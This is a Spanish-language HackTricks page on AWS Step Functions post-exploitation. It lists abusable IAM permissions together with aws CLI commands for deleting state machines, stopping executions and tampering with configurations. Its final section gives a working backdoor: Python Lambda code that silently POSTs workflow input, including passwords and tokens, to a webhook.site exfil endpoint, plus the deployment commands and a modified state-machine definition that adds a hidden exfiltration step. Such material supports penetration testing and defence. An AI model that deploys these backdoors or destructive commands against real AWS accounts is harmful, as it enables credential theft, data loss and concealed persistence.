# AWS - Step Functions Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Step Functions Para más información sobre este servicio de AWS, consulta: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} ### `states:RevealSecrets` Este permiso permite **revelar datos secretos dentro de una ejecución**. Para ello, es necesario establecer el nivel de Inspección en TRACE y el parámetro revealSecrets en true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` Un atacante con estos permisos podría eliminar permanentemente máquinas de estado, sus versiones y alias. Esto puede interrumpir flujos de trabajo críticos, resultar en pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las máquinas de estado afectadas. Además, permitiría a un atacante cubrir las huellas utilizadas, interrumpir investigaciones forenses y potencialmente paralizar operaciones al eliminar procesos de automatización esenciales y configuraciones de estado. > [!NOTE] > > - Al eliminar una máquina de estado, también se eliminan todas sus versiones y alias asociados. > - Al eliminar un alias de máquina de estado, no se eliminan las versiones de la máquina de estado que hacen referencia a este alias. > - No es posible eliminar una versión de máquina de estado actualmente referenciada por uno o más alias. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn # Delete state machine version aws stepfunctions delete-state-machine-version --state-machine-version-arn # Delete state machine alias aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ``` - **Impacto Potencial**: Disrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo. ### `states:UpdateMapRun` Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un ítem falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - **Impacto Potencial**: Degradación del rendimiento y interrupción de flujos de trabajo críticos. ### `states:StopExecution` Un atacante con este permiso podría detener la ejecución de cualquier máquina de estados, interrumpiendo flujos de trabajo y procesos en curso. Esto podría llevar a transacciones incompletas, operaciones comerciales detenidas y posible corrupción de datos. > [!WARNING] > Esta acción no es compatible con **máquinas de estados expresas**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - **Impacto Potencial**: Disrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos. ### `states:TagResource`, `states:UntagResource` Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` **Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas. --- ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` Un atacante que compromete a un usuario o rol con los siguientes permisos: ```json { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowUpdateStateMachine", "Effect": "Allow", "Action": "states:UpdateStateMachine", "Resource": "*" }, { "Sid": "AllowUpdateFunctionCode", "Effect": "Allow", "Action": "lambda:UpdateFunctionCode", "Resource": "*" } ] } ``` ...puede llevar a cabo un **ataque de post-explotación de alto impacto y sigiloso** combinando el backdooring de Lambda con la manipulación de la lógica de Step Function. Este escenario asume que la víctima utiliza **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII. Ejemplo de invocación de la víctima: ```bash aws stepfunctions start-execution \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim ``` Si la Step Function está configurada para invocar un Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**: --- #### Actualizó la función lambda El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada. ```python # send_to_attacker.py import requests def lambda_handler(event, context): requests.post("https://webhook.site//exfil", json=event) return {"status": "exfiltrated"} ``` ```bash zip function.zip send_to_attacker.py aws lambda update-function-code \ --function-name LegitBusinessLogic \ --zip-file fileb://function.zip -profile attacker ``` --- #### Agregar un Estado Malicioso a la Función de Paso Alternativamente, el atacante puede inyectar un **estado de exfiltración** al comienzo del flujo de trabajo actualizando la definición de la Función de Paso. ```malicious_state_definition.json { "Comment": "Backdoored for Exfiltration", "StartAt": "OriginalState", "States": { "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", "End": true } } } ``` ```bash aws stepfunctions update-state-machine \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --definition file://malicious_state_definition.json --profile attacker ``` El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } donde la víctima no se dará cuenta de la diferencia --- ### Configuración de la Víctima (Contexto para la Explotación) - Se utiliza una Step Function (`LegitStateMachine`) para procesar entradas sensibles de usuarios. - Llama a una o más funciones Lambda como `LegitBusinessLogic`. --- **Impacto Potencial**: - Exfiltración silenciosa de datos sensibles, incluyendo secretos, credenciales, claves API y PII. - Sin errores o fallos visibles en la ejecución del flujo de trabajo. - Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución. - Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL. {{#include ../../../banners/hacktricks-training.md}}